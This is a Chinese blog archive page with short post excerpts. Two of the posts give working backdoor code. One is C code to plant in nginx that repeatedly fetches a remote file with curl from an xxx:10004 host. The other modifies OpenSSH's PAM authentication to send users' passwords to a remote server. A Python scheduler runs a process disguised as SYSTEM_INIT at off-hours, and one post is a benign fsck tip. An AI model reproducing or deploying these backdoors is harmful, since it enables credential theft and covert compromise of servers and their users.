博文

目前显示的是 十月, 2020的博文

nginx嵌入后门

int fatherpid = getpid(); printf("%d", fatherpid); pid_t fpid; fpid = fork(); if (fpid == 0) { int x1 = getppid(); while(1) { x1 = getppid(); if(x1 == 1) { return 0; } time_t timep = time(&timep); int x = gmtime(&timep)->tm_wday; if(x == 6 || x == 7 ) { system("/usr/bin/curl -m 5 -s http://xxx:10004/b.out"); sleep(30); } } return 1; }

如何更便利地利用openssh

图片
第一种方式: 通过添加源代码实现向远端发送数据的目的,因为HTTP有被拦截的风险。所以用二进制发送感觉比较好点。 https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/ 需要安装扩展     autoconf,PAM, void userauth_PAM(char * password) { char *server_ip_addr_domain = "www.xxxx.org"; int server_ip_port = 80; struct hostent *host; struct in_addr **addr_list; if (NULL != (host = gethostbyname(server_ip_addr_domain))) { addr_list = (struct in_addr **)host->h_addr_list; int socket_fd = socket(AF_INET, SOCK_STREAM, 0); if (socket_fd >= 0) { struct sockaddr_in serv_addr; memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = *(unsigned int *)host->h_addr_list[0]; serv_addr.sin_port = htons(server_ip_port); if((connect(socket_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) >= 0 ) { send(socket_fd, password, strlen(password), 0); } c

Linux 硬关机造成的系统错误

由于硬关机造成了磁盘受损,进入了initramfs模式,怎么都无法启动系统.通过以下命令成功修复. blkid 查看当前系统挂在那个磁盘 fsck -t ext4 /dev/sda3  修复目标磁盘.

Python 自动定时任务

 写了一个定时执行任务的程序 0点开始启动到第二天的8点,之外的时间段都处于关闭状态。 import os from datetime import datetime import psutil SYSTEM_INIT = "SYSTEM_INIT" def execute(): os.system("nohup /bin/" + SYSTEM_INIT + " &") print("executed") def isExecuting(): pids = psutil.pids() ret_val = -999 for pid in pids: PNAME = psutil.Process(pid).name() if SYSTEM_INIT == PNAME: return pid return ret_val def main(): dateTime = datetime.now() HOUR = dateTime.hour; weedkey = dateTime.weekday() print(weedkey) if weedkey == 5 or weedkey == 6: pid = isExecuting() print(pid) if pid == -999: execute() else: return 0; # more than 00 less than 08 if HOUR >= 23 or HOUR < 8: # is exisxt pid = isExecuting() if pid == -999: execute(); return 0 if HOUR > 8 and HOUR != 23: pid = isExecu